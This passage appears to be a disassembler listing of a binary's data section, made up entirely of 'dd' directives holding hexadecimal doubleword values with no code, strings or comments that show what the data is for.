7C2D4Ch dd 0FC0ADE5Ch, 3C955527h, 518F9F77h, 78A0C2FFh, 9481604Bh dd 0EC3F6402h, 40F984E1h, 9A240FECh, 8BE43A14h, 6C3E2C80h dd 4FEA4106h, 0D20020B0h, 0D00C4466h, 231D38h, 0ACFC59C2h dd 61773778h, 0BDA38900h, 71EA3C2Eh, 624B001Fh, 0A0E06D7Bh dd 7F003457h, 82BEE926h, 0C24DB89Bh, 3316CCC2h, 0B3BD868h dd 0F77AAE0Eh, 802631Bh, 0B00AF8EBh, 0A30C3FB8h, 0C067591Ch dd 80244F04h, 320083FDh, 0AFAD0B8Eh, 253141h, 0F4C00F69h dd 0BC7EE357h, 3D126F00h, 0B54AB73h, 0ADBB1D22h, 320DC5CDh dd 97789471h, 78004B6Ch, 65BA581Eh, 23EF7800h, 726E2074h dd 0FA680050h, 6BFCB8AEh, 0C3009F1Ch, 95240B2Ch, 6DAB5Ch dd 0F04740AFh, 1A34D0CDh, 20009E6h, 69B4F18Ah, 2EA6A1E1h dd 2C2D2Fh, 7B1461C7h, 6F2E665Bh, 0EB05E0E6h, 8C82D824h dd 0CBE440F4h, 67EAD0h, 0B46A8B69h, 851FCA15h, 0C46070E9h dd 93A6301h, 0DBF2CEEBh, 7B5467E0h, 10770A3h, 378119F3h dd 70CF0B8Dh, 0B01CB569h, 0D55EE051h, 918CE8C0h, 39BC66FDh dd 0BB0032C0h, 5BB373EFh, 35C3652h, 3DA80719h, 2DF0A44Eh dd 0E1F712h, 0E568CA0Bh, 159A827Eh, 0D1291817h, 0C5B8BA04h dd 0E9CB3C80h, 673B076Fh, 0C0B270AAh, 0BB696E10h, 0B4099490h dd 0FB17D3h, 8BC8AFC4h, 0E7600031h, 748808EFh, 0B8B0704Fh dd 2A29B760h, 7C14AAB9h, 0CAD10089h, 7A8201EAh, 5009CBA6h dd 215816B7h, 9A674C78h, 72B8B034h, 0CAD4307Bh, 6DDEE808h dd 0B630CC7Ch, 0B28E106Bh, 0A09F83C3h, 0D454952Fh, 833DF500h dd 1F18FD3Ah, 45D008Dh, 9FA18793h, 35FDF2BFh, 60C540E0h dd 0C0E8ADEBh, 0E8C9220Ah, 31803064h, 0D393639Dh, 0DAA300E3h dd 0EB4139F4h, 0A20074A9h, 8534CC94h, 20D8B8h, 35445880h dd 9E2A2160h, 0AD144515h, 0FE3000A4h, 3AA5D5C3h, 6B78B8h dd 28CC5D8Ch, 0BB15B142h, 18B9DB00h, 0A0DEC9FEh, 886D0720h dd 40A32D44h, 0C35AAC56h, 0C18E6301h, 2C18E843h, 0A0190D0h dd 0AFC217C4h, 0EAF700FAh, 18BE1B73h, 5C6B9500h, 0FE9741B3h dd 0BBCD0051h, 8F60EA96h, 65007CF8h, 6C59E5BAh, 0FA4E15h dd 3CCC7D13h, 0D2281A92h, 80C9B43Dh, 0EE094175h, 5BFEA6h dd 7DDCBC0Eh, 4D072053h, 4CD1AC00h, 0E68D5A52h, 57930091h dd 3E9CC437h, 250F9FC9h, 20FA7250h, 0FC4253BDh, 4127008Dh dd 0A24FA4B6h, 91EC46EAh, 0A0A65201h, 997BC3CDh, 4C50CEh dd 0AB70EE7Ch, 9A8C0FE8h, 89F4034h, 9641D041h, 82DA7024h dd 0C3A63EF8h, 0FCB68864h, 0D71C0078h, 0B048F559h, 0E2002CEBh dd 8856658Eh, 0EEB97123h, 99730A0h, 122CFF48h, 21623E31h dd 4105B335h, 0C3CA4140h, 0EF4C487Ch, 0E929C2B0h, 77114C57h dd 7025AB03h, 1EE8013Ah, 0DD245360h, 4A8C04C4h, 0B10835h dd 0E819F9C9h, 76C2D325h, 689D95Ch, 0B0BD73B4h, 7EDF0180h dd 3C0CED68h, 0CED083AAh, 97C1E3Eh, 0A74270E8h, 2C5E9821h dd 800014A3h, 59D49334h, 922E3AD2h, 2FAAA906h, 8FE4405Ch dd 1FB480h, 9120DD7Fh, 36748DDBh, 241A2F00h, 654D5D03h dd 72EB00D7h, 46525E78h, 0A400F85Ah, 4F33BB7Ch, 3AD8F402h dd 0BD8E838Bh, 0C5405E8Dh, 9B987BCFh, 732FEE00h, 0ED07B83Ch dd 89260BF3h, 380A438h, 20449EA9h, 752DFC00h, 16B3225Eh dd 36DC017Eh, 0EC56F053h, 0C338AEh, 0FC9EE893h, 0ED8BF6h dd 83C06612h, 9DC7F086h, 0EA6DA505h, 9180E925h, 901F487Ah dd 22B4009Ch, 0A1F6D2BFh, 0D4F2C39Bh, 26DEEE00h, 91CB0A4Ch dd 0BF7920h, 0A3165B89h, 0DE7CD9E1h, 76CE7300h, 13BCC0C3h dd 18B30161h, 1C59CA86h, 0BF75E010h, 0FD4BD400h, 43BD7794h dd 7108C6E4h, 97002065h, 6C9ED4B5h, 4523827h, 0B9BADF07h dd 4A6F4767h, 0F0F563D3h, 5CEFCFh, 0FF1AEC35h, 7FD6AF21h dd 174B90C0h, 30313726h, 5538A784h, 5E0CDA1Ch, 11157B90h dd 2A9A0070h, 65923AB1h, 0FA6693A1h, 214608h, 0F72B4753h dd 0D75DD1A3h, 8B0FEF0Ch, 8C9248A7h, 0B32B3407h, 6498623Ah dd 48F94029h, 7D6AAD2Bh, 0D6F703E1h, 74C5EC54h, 14C256B0h dd 0AF41B018h, 0B6D7CA9h, 7020B17Dh, 5798D881h, 807ED101h dd 7D84E721h, 17639C2h, 95B54838h, 106E4BCDh, 4D1678h dd 7A646C02h, 0D5879F6Ah, 715DDF30h, 0F4113499h, 4F230194h dd 4AC71B55h, 0D89C4085h, 0E4009014h, 0E14E75C6h, 3260473h dd 42F676D9h, 3C801722h, 0A307112Dh, 0F179D6F2h, 0C453C340h dd 6A3E012Eh, 0E12B7A4Bh, 0B2CCE003h, 0AD47C700h, 20F51EDAh dd 0A9690141h, 1F162B8Fh, 657670D0h, 0E046F300h, 508675ADh dd 0DE69009Eh, 8F843B02h, 1A177C2Ch, 2603A00Ch, 9820B989h dd 0B091143Ch, 6E131E19h, 9F180016h, 0E55C40D1h, 36ECFB00h dd 737DA9ABh, 2FDB0051h, 6B86AC47h, 70009C85h, 64E94B5Fh dd 1DE1AEFh, 0FEFB56B1h, 6084D5AEh, 0BA00C54Ch, 99A3033Dh dd 9D9659h, 1CF5CB1Bh, 56851D07h, 0B9C8ED03h, 0DB2CD092h dd 404EF887h, 73800096h, 0C1BD5BEh, 7A008A71h, 8B7959DDh dd 12E7C2EBh, 3020EE1h, 0A7A554F2h, 0AB66200Eh, 0FE0DC0B2h dd 983187h, 0C263235Bh, 3D5CB7FCh, 0C8E2628h, 0BB601800h dd 46152070h, 0B92B8851h, 6B4C5500h, 746C237Dh, 7BB172A0h dd 0DBD90024h, 0CE796728h, 8DB06BA4h, 0EDA730Fh, 0B0560396h dd 0C2F839DBh, 63FB0F80h, 25452DD5h, 3F9D7A00h, 0E9AC6898h dd 95230048h, 0AEFB38C2h, 45009719h, 7DE8B63Bh, 9FDBAFh dd 0C9DDE342h, 0BC834CC1h, 0E9920F18h, 7CFF1B18h, 49AE6FCBh dd 89C3186h, 0A07EF6F0h, 0F2C0AA00h, 616F27C1h, 2118179Ah dd 333F07F8h, 0FF565048h, 79030FA9h, 0F460AB81h, 1787C2Fh dd 0C46ED407h, 80906B61h, 72DD5961h, 1EEA2519h, 819B6DAEh dd 0CE213E15h, 0C76E201Ah, 0A6074C01h, 44647E3h, 0F572A1C0h dd 0FDC4D8h, 68C7D356h, 5669733h, 2586E07h, 0DEA1D24Bh dd 6989A56Bh, 8700ABC5h, 57A2BE50h, 0C83BECEEh, 8A6D81D8h dd 30C3C7D9h, 0AC9DE981h, 80BA3E0Ch, 0A67CDB11h, 1CB5D35Dh dd 4E40DF83h, 2CE0BF18h, 0C858847Fh, 9857472Ah, 36065600h dd 664668F9h, 604560B7h, 0EE7BB2F6h, 2A636A01h, 33C8401Ch dd 1DAE74F4h, 808E1FC1h, 677DE2CBh, 5C0065DFh, 0DE88C936h dd 1C6AF172h, 58E51A13h dd 56760812h, 4DA820C0h, 0BC9A72h, 5567D3E9h, 0F6BFDA1Dh dd 8F349F00h, 3DACF968h, 380A0398h, 29B7E9E2h, 0B4971803h dd 0E1E086FDh, 50808EA5h, 0CE116507h, 80C7682Ch, 0D8007D29h dd 0EF9A9BFh, 0F621AA46h, 0EA21168Ch, 2400B270h, 54E1A0C5h dd 207CDF19h, 5026C937h, 32187AE7h, 0D21611h, 0FCA84A28h dd 0A4B25281h, 1F607E74h, 2879F121h, 3F92024Bh, 0CB4F136Dh dd 0CC8A7460h, 679BC218h, 1932EEB8h, 696B4DD4h, 706AD1FCh dd 457D4127h, 44F9401Dh, 17218118h, 826F3BF7h, 80CD289Fh dd 45496DD8h, 0E00884Ah, 0CB14E036h, 1D40CA3h, 0AC7CDA47h dd 0F2E5FF39h, 3A10C8A0h, 10C00687h, 35CA9707h, 94C61CEBh dd 883883E5h, 0A188F05Fh, 3E0B0443h, 415D0Fh, 0EF347890h dd 3BF60071h, 8E4FFC2Dh, 0A079C50h, 76B0DB9Ah, 0DFB456A0h dd 0C39E0041h, 870E149Dh, 0E8315023h, 0BD8908EFh, 53812085h dd 472AC09Dh, 3301D1D3h, 0EB70CD1Fh, 70131Ah, 0EA820EB6h dd 9F802873h, 0AE53A2AAh, 4700E57Ch, 49BD52CFh, 74432741h dd 17E78DBh, 0C8ABA87Fh, 70F6A4EBh, 0FF748C86h, 2034BC31h dd 9BD8771Ch, 52AC0464h, 0C0B73C69h, 9DF966DBh, 1C030798h dd 9F814D5Ah, 0FDA90961h, 0F900E338h, 0B3D905EDh, 0D2209460h dd 3C2EF2h, 4617B6F7h, 0F380C2D1h, 8134593Dh, 18B0B47Dh dd 0C3CFECh, 0E4EB0E30h, 0E08E9297h, 55F93Ah, 0A5A3FD77h dd 0D77B3Eh, 0B6A993DAh, 5E3932C5h, 0C98E7400h, 0A87A3078h dd 45180C6Fh, 8D1EB560h, 0ECFE9A00h, 0F7F60150h, 0F26A9033h dd 0F16D2875h, 8DA700A6h, 2279B390h, 100113F0h, 5B408A04h dd 0C7EC711Dh, 9E7195h, 0F537AAEBh, 0C23987Ah, 9F081200h dd 69D18A15h, 0FEE73A51h, 0C23F0B80h, 0A7218CE9h, 0F031EB00h dd 0A5457A9Ch, 0B08400F5h, 6009EC50h, 337FBE1Dh, 5FEAA703h dd 0A8AB86DBh, 0C05CFA9Fh, 40879A38h, 1B01B5F1h, 0DC75D89Dh dd 0C946D290h, 0F8F621h, 0AB8C15EEh, 0EA220FE1h, 0BCC7B000h dd 0FFC60CA4h, 0A9B400D5h, 2FD5F5Dh, 24032DA7h, 2E4B8FC1h dd 718BC09Ah, 0D2F700C7h, 8663CE0Dh, 0FCE89236h, 8A3140h dd 0D224C739h, 0CA19C91Eh, 0EC8DC08h, 0ECEB8EE9h, 0C0D73A66h dd 7CF9F201h, 62E9C365h, 5C59C0C7h, 0C0C178B9h, 0D88B3228h dd 93010B86h, 59F09A10h, 5082C92Ch, 1E85EE66h, 5633C940h dd 268D6400h, 0D22B424Ah, 3CA60061h, 44537EDAh, 0DC3B99DDh dd 0DB08065h, 0B395BF7Bh, 93FE6Ah, 38B97A1Bh, 63805715h dd 0B8627F00h, 1F223EDFh, 0E7D20066h, 3FF40D7Dh, 0F84C2CFBh dd 0DF106343h, 6BC6E843h, 0B23D5C7Eh, 121BE20Fh, 2A42E040h dd 3200246Ch, 1C761DB7h, 7D64DD89h, 7D873FBDh, 7F471487h dd 7785C0B1h, 5203E4C5h, 0D81F1924h, 0F5AE9008h, 727E0E2Dh dd 0EC0014DBh, 93999D52h, 901FD700h, 0CE253DAh, 4BB700F4h dd 88B4A8DBh, 30318DACh, 96FED97Dh, 0C37EB8D3h, 0B90B06FFh dd 21F63EDBh, 5153D600h, 3AC7A6ABh, 423800B1h, 0FC374B0Dh dd 0F1007B02h, 0E1254D0Fh, 3841D1BBh, 2F00CEDBh, 5362D78Eh dd 63034637h, 0EA989491h, 40A690F9h, 1FCB0068h, 0A491D21h dd 29005F1Ah, 87E782F1h, 76EF2D6h, 80678845h, 0B563E060h dd 0E07C1816h, 0A10B3307h, 42604C29h, 0D5A653h, 77E3D8E7h dd 628DFDCEh, 0D1B4F300h, 7A10767Bh, 0BCCB4804h, 0F15FA00Fh dd 9A0BEB80h, 0EE00954Ah, 20A2AFB9h, 0F66D7Ch, 0F25BB82Bh dd 0DB5329DAh, 0D0AA0500h, 0CF501C3Dh, 60F2F389h, 5C47D517h dd 1A015DD1h, 1D9FDCB1h, 232630B2h, 0D96E4903h, 18EC47C2h dd 0E9A73348h, 0C71EA274h, 958050E8h, 0E6CB0D6h, 179F70D7h dd 184CD2h, 116F82E1h, 44006BEAh, 6C929B54h, 0C292133h dd 409DA358h, 500CB0Ah, 3F510EBAh, 0F540BA8h, 0A1B18CCDh dd 0B7C5DC18h, 8C693FAh, 9820282Bh, 819E0754h, 0AFA3D71Ah dd 90576A80h, 0F17E1DB6h, 60F2970Eh, 80BC0E16h, 0DA6BACCDh dd 0D5F4E9h, 8EAA5890h, 0C5A957A5h, 83B821C0h, 14E17BD0h dd 0DCA42AFBh, 6100B06h, 2D0F50C4h, 65089D66h, 0AA816157h dd 74C83854h, 3B7A006Bh, 0F29662Bh, 50D8576Dh, 9B16C8h dd 147D6719h, 1E93DC6Eh, 0C2EBCA00h, 293BC58Eh, 4D30C0B2h dd 0F70E3F0h, 0D36A2E00h, 0D69E3505h, 6E0B00F9h, 21B1CC86h dd 10C09C76h, 0C1D00D59h, 7AA41E93h, 71007AE7h, 3326187Fh dd 3100E4E5h, 0E04249ADh, 0DFC799h, 98B9A33Ch, 3995E80Ch dd 64FF302Ch, 0B9003812h, 414A7CB4h, 0D2CA00FAh, 97423907h dd 0FE3B1E2Ah, 0A201F882h, 0DC8B8781h, 78E43BA1h, 3018C084h dd 60BB0440h, 4A3FF701h, 4F52B0DEh, 4DF0D7F3h, 44E03Dh dd 9F1EFDCDh, 458B79Eh, 0B9B46100h, 0FAD953AAh, 7797972h dd 3DB5322Ch, 4134B63Ah, 65A06C00h, 0AFA9EF60h, 36D80057h dd 3AAC711Ah, 9000D24Bh, 274D7C61h, 0BB5D25h, 0ECDC7040h dd 0FB05D816h, 865F4B00h, 547ACCD0h, 469700B9h, 27D149A5h dd 0FD306BF2h, 0FCEF6844h, 3CCCE2E8h, 628089D0h, 4599C070h dd 11209EAh, 0E707B93Eh, 25707B1Ah, 650E12h, 0E840C3D3h dd 0A86408C1h, 0A55A100Ch, 79181Bh, 0CDF559B0h, 5132B6F4h dd 134B6D00h, 495E678Ch, 0DAEA00F7h, 0B9FC04BAh, 51CE3AD7h dd 405BEC7Eh, 0D1B707ABh, 0F0CA69CEh, 0D349768Bh, 2233B603h dd 816062h, 0D2F11229h, 157D6351h, 1F542D00h, 0E0263014h dd 0DB9400CDh, 55DD567Eh, 0B700BAB6h, 98EE65CCh, 185C9505h dd 0A2FAC2C9h, 0E20E04B8h, 6CF7D901h, 29B847h, 6F063752h dd 0DA60C72Fh, 97E11F00h, 0ADD1CC99h, 0E8957516h, 34AA0091h dd 6779F92Bh, 0C6243FB0h, 0F009FC3h, 0F030702Fh, 0F1A400E1h dd 92538488h, 0E000D1C8h, 5A1B4C04h, 9054262Ah, 9076500Eh dd 8CA944E1h, 61213600h, 0B7E6ADE0h, 0BECE0063h, 0D343C8AFh dd 84540B0Ch, 520A4784h, 0A4665FA2h, 9AB26C00h, 128C0Dh dd 19220735h, 0CD8485F7h, 601D9700h, 72895136h, 6C680067h dd 0A9F34D2h, 0E000E4FAh, 788E6F71h, 0E3C90D6h, 0C8A159B6h dd 0E9AB2160h, 0B4FE8BA2h, 4E76523Ah, 6700E6BCh, 3188D23Eh dd 620014EBh, 43D5B39Ah, 4FC4E8h, 0BC588E7Eh, 7BEFB1E5h dd 56CD8806h, 408402h, 0C6C5F924h, 0A6508B20h, 9010361Eh dd 0B28CCF00h, 0A4AEDCh, 35099D9Eh, 317BE445h, 0B7631300h dd 0C522FE6Bh, 186673EFh, 20B33D9Ah, 0EA305A9Eh, 0C3D760F1h dd 0CC3F033Eh, 44A238C1h, 0EBC7A7h, 0DB4678F2h, 2C990968h dd 309CEE50h, 37A885DEh, 0F0C17440h, 7DC090E2h, 8F971980h dd 7567B2ABh, 139ADD00h, 0F615DFE0h, 0B95F0084h, 0B3E7141Bh dd 98A8790Dh, 0C063D1F3h, 1E55A42h, 6932BB78h, 0D02DFE3Eh dd 3301DF6Ah, 17EA83F2h, 2C20674Fh, 0B4540098h, 0F94395E9h dd 8E022B06h, 2158C0DDh, 0C524845Bh, 57BD7E40h, 0C90041E2h dd 0D5EF0223h, 679F8E88h, 40170822h, 5282D885h, 0FC5C2D00h dd 41BA334Dh, 88D0EC4h, 0A10062CFh, 3AA9F6B9h, 821C450Eh dd 5AB74083h, 7D15E9h, 801F62E4h, 5717789Fh, 0CBEB2512h dd 5EC01000h, 0A0AB474Ch, 15C1F3ACh, 80F77DCAh, 3D98402h dd 14404D3Dh, 7200E0CEh, 4BFAA921h, 0CB407ADDh, 0D83C819h dd 39341EBh, 85755B98h, 0CC3E78F8h, 8C703E12h, 587E4A33h dd 291C1E7Dh, 89BB0037h, 1F5F36C1h, 5E447101h, 0E1BA90A6h dd 288DBCC4h, 1F0C1EF8h dd 66D77C4Ch, 0CD820512h, 44F823C1h, 0A23FFBE9h, 0D200FC66h dd 0E7681CC4h, 3168CAEh, 0C0B2DEB3h, 200077D7h, 354CFE22h dd 9E2C0Ch, 2DA4B313h, 0F11530AAh, 812148h, 59AB3425h dd 0F1E9FF16h, 18E6E370h, 2022CA2Ah, 6C000949h, 0EE7D8DFEh dd 9008C6C7h, 97B600DBh, 672CF374h, 253CC8FAh, 200900EFh dd 49824B9Ah, 0B67988h, 0A1238C72h, 0EC451889h, 0C15DC400h dd 4E036465h, 1DA709Eh, 94B938CFh, 0CDDED6F0h, 0BA3930F5h dd 83DD3503h, 0B0F9ED6Fh, 971E7Eh, 652FBD37h, 4DC36B7Dh dd 0D3BE2524h, 0D03CC707h, 5D1079A7h, 391DA9FAh, 0A38096F7h dd 0DA238E7Ah, 0A0002B25h, 0CB3431B9h, 566832h, 0A66D822Eh dd 0A36AF262h, 257A4979h, 0EF4AB91Fh, 8D112D00h, 9D0812h dd 4CC3C23h, 0F51F0EDBh, 8F311E38h, 40E27329h, 0EF95DECAh dd 155D003Bh, 877F4667h, 0C4010734h, 4A22D05h, 19C43236h dd 0C2106FCh, 0E8B71DFDh, 0DA811F00h, 5FA9C5ABh, 23570597h dd 80E5E6A5h, 4412FCCBh, 1A00F478h, 14A8A7CDh, 7F523D6Dh dd 0A90E3995h, 927A3B80h, 17ABE750h, 151D5E00h, 29565735h dd 3B3E00C2h, 0EDD73AF8h, 0F400D8CFh, 0E3F2A854h, 415358h dd 831125E6h, 49B6C94Eh, 19E91207h, 800E7A86h, 13AAE63Bh dd 3CBD1E92h, 4C5DC05Ch, 0B40DFB4Ah, 0C4B340Eh, 3B9DE0C6h dd 29F703h, 0CA12D14Fh, 718A7DD3h, 88F09B00h, 0E6B7C036h dd 0F2E200C5h, 45F3397Ch, 68902ACBh, 643240A0h, 8A841300h dd 26CC09F9h, 68583B4Bh, 0B91ADD07h, 553990F0h, 8B00502Dh dd 2362560Eh, 0E8B5F4h, 7D0C0140h, 7354C322h, 492A8100h dd 10C616DCh, 1FA4006Fh, 2F9AA00Dh, 8602A8B4h, 7DFCDA92h dd 0ABA0C0CCh, 10AD3176h, 3661C88h, 7B4DA806h, 0B5300EE4h dd 80463DCFh, 9F0068CBh, 0C85439E7h, 1F6BB0D3h, 48B151h dd 9B285562h, 8F00A833h, 46CEC265h, 93679DAh, 0D6EDE7FAh dd 97122C00h, 0C22876FCh, 3824887Dh, 2689C0FBh, 49150318h dd 0D945C01Ah, 888E01D6h, 6AB468EBh, 6278E097h, 151C93E2h dd 82C04036h, 5049ABAh, 74630052h, 0D33D5B06h, 0E33B7D20h dd 7A50803Ah, 4F82DBABh, 2E71C4h, 0E1D0B40h, 0E97E7524h dd 0CFC90700h, 46868EE1h, 0C017003Eh, 7BC48A87h, 0DD00DFB2h dd 60BEC29Dh, 1FC0742h, 52A6C0A1h, 606473BBh, 960054F2h dd 0E5C43762h, 3BDA36Fh, 7F0EBCD8h, 0C6801205h, 10006D09h dd 0B9D4FF69h, 23ACC8Ah, 0C4D162C5h, 8080081Bh, 695D6677h dd 57055972h, 0EA4E4835h, 0FC30FEC7h, 3A829C32h, 0A580840Ah dd 0D65E19C4h, 0ED7A1E81h, 59070EFCh, 0EE2B2C67h, 5CD1C100h dd 6CA20011h, 0C997BDB4h, 662C40FEh, 6000B355h, 32A46A08h dd 5D310053h, 3D5EE862h, 580F4F74h, 8078EA7Fh, 0FA074D79h dd 492700C5h, 5250C42Fh, 0A900BDBAh, 0F7C924C3h, 0EC7E8Ch dd 0F97A7F31h, 2B612643h, 9D356714h, 402C51D4h, 0F5FA6A37h dd 0B8875700h, 547B89B6h, 219E005Ch, 2297D828h, 0F407C314h dd 8336CABAh, 0F0C4F170h, 23D500B1h, 0A7272480h, 10073E20h dd 73FB50ECh, 11A983D1h, 5EE3E0h, 548EF1E5h, 2ECF12AAh dd 0A7D32200h, 570698Ah, 336800AFh, 8392498Fh, 37000EC9h dd 90775604h, 785C80h, 0ACD2535h, 9BE28D69h, 0CA44D8F1h dd 2A637616h, 67001453h, 8B98A653h, 0AACC00BBh, 4968C4Dh dd 700842Ah, 40193008h, 3D03FC63h, 5C0024E9h, 81DA607Fh dd 0C90342B8h, 84803B4Bh, 0C60FE0D8h, 0AAB600E3h, 3D99335Ch dd 7100B702h, 0E0C34465h, 7BFB1FD2h, 5A471EBAh, 0D80654B1h dd 0ACAE3D00h, 4C96939Ch, 7007C570h, 0E2BADEADh, 0A69F47D0h dd 0C31700EFh, 0FB91FEA4h, 240097C5h, 53415ABEh, 1E3D111h dd 0CCB01A29h, 0D40FFF4Dh, 9D1F7084h, 0E8833AEBh, 0D075E4DEh dd 54B12Ch, 0A13B9B6Fh, 57C0AA8Eh, 36DCCC00h, 0F45348CFh dd 0B08B00ACh, 8C055D43h, 0BC00D144h, 102723F8h, 8617Ch dd 85C1C756h, 649C1EA4h, 6300D3F8h, 0D4E9597Fh, 3EDA02h dd 6AE4FAF1h, 58355CA6h, 0A5EDF400h, 1954C9E7h, 0D8E80428h dd 800ABC3Ah, 62ACD4D8h, 4F18CA01h, 24516F12h, 1318A30h dd 6935AA26h, 0F42AA54Eh, 28032EDBh, 82B94C1Fh, 6B8B803Ah dd 0ECF40B20h, 74207B67h, 0CFA22107h, 0E703B677h, 9AD5C60Dh dd 0B0B199AEh, 8060C8h, 20A5A0A4h, 0DD58527Fh, 19D9540Bh dd 1F028F10h, 68B14DC0h, 0E3316F3h, 8F98BEC1h, 1138F01Dh dd 9200ED5Ah, 0FF144587h, 194448Eh, 0AC5ED77Dh, 0F0495184h dd 0E27EEC75h, 0F301D513h, 0E93E0C00h, 98B47h, 6EB9E5Ah dd 1666946Ch, 0D244500h, 526DC8B5h, 0FCAA00F6h, 0D5852771h dd 573B9DDCh, 662281F7h, 0D04117C8h, 731114C8h, 99F300B2h dd 2260A139h, 0F05D931Dh, 56B0084h, 87BDF717h, 98F95D39h dd 6CC66E00h, 167DFEB1h, 605C1AFAh, 0B2E80100h, 11DA25CCh dd 18404BEDh, 60707430h, 987BC0E2h, 0ED7BD439h, 0B8033778h dd 0E1A52205h, 7893C881h, 0FEBA009Bh, 49EB57E0h, 9D73DFA4h dd 0D9E9E100h, 0D0666C1Eh, 0E358C046h, 0D3819738h, 0F6B88000h dd 8818CF4Fh, 0F5150B90h, 8C006001h, 20358226h, 0C2861700h dd 0F2B54C2Ch, 1A6C00CDh, 32B6D83h, 700722Ah, 0DFF03736h dd 741C9Fh, 2EFEB3CFh, 0AF625C20h, 80D4603Eh, 0EBD1F6A7h dd 1CEA95h, 8F8B6DECh, 0D0E35C27h, 0EF1EB200h, 1FF9F665h dd 903A7E5Fh, 684C001Ah, 0DFB90169h, 0B7006A1Eh, 5F23F348h dd 1095495h, 3AA67F4Ah, 0F0641B69h, 0B83C1A19h, 0C3AF0143h dd 0E0D1EFBAh, 0F0AEC8CBh, 929B1F87h, 0EBCB8082h, 3E5E7AC4h dd 8139663Dh, 238F3773h, 9C40D074h, 0E2FD80E6h, 0F020921Ch dd 6104ADE5h, 40BB882Ah, 0C1F761BCh, 0B46D4B09h, 0ACD6070Eh dd 40590F62h, 3CEA80h, 2D13C5AFh, 0D5701551h, 0A7836200h dd 0CDFA7ABCh, 52A90099h, 0B99EA62Bh, 1B000C29h, 0CB6465E7h dd 340A8Ah, 322818Fh, 5C8BAF6Bh, 0BA055776h, 3846DD3Ch dd 0AE50B0C7h, 24AD36h, 592D3994h, 0F50CF307h, 0E05A642Ch dd 5A1ED717h, 0B1249082h, 0EF23C0F2h, 84303A58h, 0E829B78Bh dd 13B63000h, 62EC3748h, 0A5E8DF60h, 40C4D7h, 95F71EA8h dd 0DC46BE20h, 97486C79h, 642590h, 67D3518Ch, 781A7B6Dh dd 49D400CDh, 2FD0B363h, 0B024A1E8h, 3CC2BFh, 16CAC035h dd 74EA596Ch, 9D540C84h, 49381A98h, 0F0926F05h, 84C0CACEh dd 809C86E7h, 5B03113Eh, 0F338B78h, 90B02EB9h, 0CC60729h dd 91E57010h, 97E25756h, 0AA005F72h, 24138ED2h, 155DA7BCh dd 0E48A9496h, 83D95307h, 64FAE072h, 8200E2D1h, 4BD06B2h dd 34F59F8h, 0A1E4A573h, 0ECF0CFA6h, 0A3506DFFh, 5E00AB64h dd 35BB22DEh, 413BF7h, 52645E8h, 69B7FDB6h, 6110421Dh dd 0D1800800h, 4C827CAh, 0C5D75476h, 81148030h, 47030575h dd 21CFD361h, 0C440959Ch, 2D3D2C12h, 6D2E01ECh, 891AFA78h dd 0AFC4F4A2h, 0D537D000h, 0F8E50620h, 0E82600CFh, 43D3A1C3h dd 73019409h, 0B66F5A69h, 65C0E391h, 684200E5h, 25B9E952h dd 0CB0057F6h, 1E669CDh, 0B889AB38h, 0B32F00D5h, 0E84B9AC3h dd 265058F4h, 600006F8h, 0DC5B61A9h, 1E46AF9h, 0B8B3B111h dd 0D862CC09h, 0B5045149h, 604319E7h, 7868480h, 5AA21306h dd 0E41B0FF3h, 508152E0h, 0D72876F1h, 66009C0Ah, 2032B8F2h dd 269712EDh, 9294F7A9h dd 4DB40050h, 2FE28E2Eh, 378CB550h, 2ABEC203h, 0D858FD26h dd 5709DCh, 46E59BBFh, 0A992E153h, 4401E8B0h, 0B2C2D9AEh dd 20E869DCh, 0D5E60075h, 0B194CC9h, 0E3B0453Dh, 4C13400h dd 937D35E2h, 5C6C0276h, 0D812BF97h, 0ABB2FC60h, 92004DE8h dd 19C2D23Eh, 0DCDBA5h, 715EA7B8h, 0B196139Ch, 0CCB9DA00h dd 8DF0FF1Dh, 7B3A064Fh, 0E80CC534h, 5F70C402h, 40BFF415h dd 98BD504Ch, 85E50048h, 379FFB56h, 0B62CB884h, 3BEDD8h dd 0F70C265h, 0E88D6FAh, 7B81457Fh, 0FD25B540h, 2700E19Ah dd 39D3C19Dh, 38965Eh, 858D6718h, 5536EE44h, 2A3D3A00h dd 6CF0269Ah, 0C4B20042h, 0BA5C8DEh, 2D01C07Ch, 0DB9CBFBh dd 31FDA4E0h, 42061080h, 561D1F25h, 3B9AC800h, 0AF094A9Eh dd 0DBB0F3Dh, 801E9F68h, 0AC425D54h, 83EBF5Fh, 76DE0BE1h dd 8A64854Dh, 0F052805Fh, 2038B30Eh, 3234A120h, 0B05B5EE5h dd 7400BAA8h, 23F7059Fh, 30A536Fh, 9D72A570h, 94A1C2ADh dd 0E85D71FCh, 0BC002EE6h, 0AA991CA0h, 27A2005h, 8E71A91Eh dd 386919FAh, 0E53FDC44h, 1FFCBF90h, 2C148600h, 0A63204BFh dd 0BBFADEh, 4087954Ah, 423E1617h, 0E6216B1Ch, 2454400h dd 0F6DB08A3h, 0C75E63h, 954D01F5h, 0F3F213AFh, 5008E7Ah dd 3907ED4Ch, 711788h, 2B10B5CBh, 0B85A5124h, 582F1900h dd 0C278B9B1h, 0E1A107B3h, 30FBE6EAh, 0B56BD497h, 0CEFA8AFCh dd 46002CBAh, 474B4C64h, 1136640h, 0B205C8Dh, 0D4D2D50Dh dd 0F800B5BBh, 1FB0CA7Dh, 0F67AD62Fh, 0F4880027h, 0D4D71D34h dd 0B003855h, 3A17D828h, 74ECF5h, 0DE88BF72h, 961C2BEFh dd 42E4775h, 0E42C592Dh, 0FE84890Eh, 410ECA00h, 595BAFC0h dd 0B10094BEh, 0BD92D71Ch, 460057FBh, 0DF6B3E79h, 42FDA7h dd 0E0E352EBh, 1B3B752Eh, 0D8961451h, 0AC006773h, 0A02F4E05h dd 8024E2h, 941182B3h, 0F44A2303h, 0FF46A100h, 0ABCC1EF3h dd 713E00AFh, 92A3532h, 60C05D24h, 0EB69555Eh, 0EE591D5Ah dd 9100F9C5h, 75A7C66Ah, 0EC7ED943h, 2DF4D37Dh, 0F2A56300h dd 0BA3C33C2h, 4C8B0098h, 9DC85470h, 1C000272h, 7B5B743Bh dd 91B5112h, 0A2710A6Eh, 0B21ECE0h, 97E8F350h, 0E4165C00h dd 3581577Dh, 8EED007Ch, 82ACC910h, 0E90921A6h, 800C4195h dd 0FCB0B24Ch, 295900FFh, 937C2284h, 6700ACC1h, 0DA1BE413h dd 5B82860h, 8D69AB82h, 6E5C8059h, 0C1D2429h, 96392722h dd 790744A0h, 67304D14h, 96DC5Ah, 0D86332FCh, 0F8BDEE5Fh dd 11A6AD00h, 8A1DFAEBh, 61CB00F5h, 0B18E0758h, 6E073C38h dd 13F20C74h, 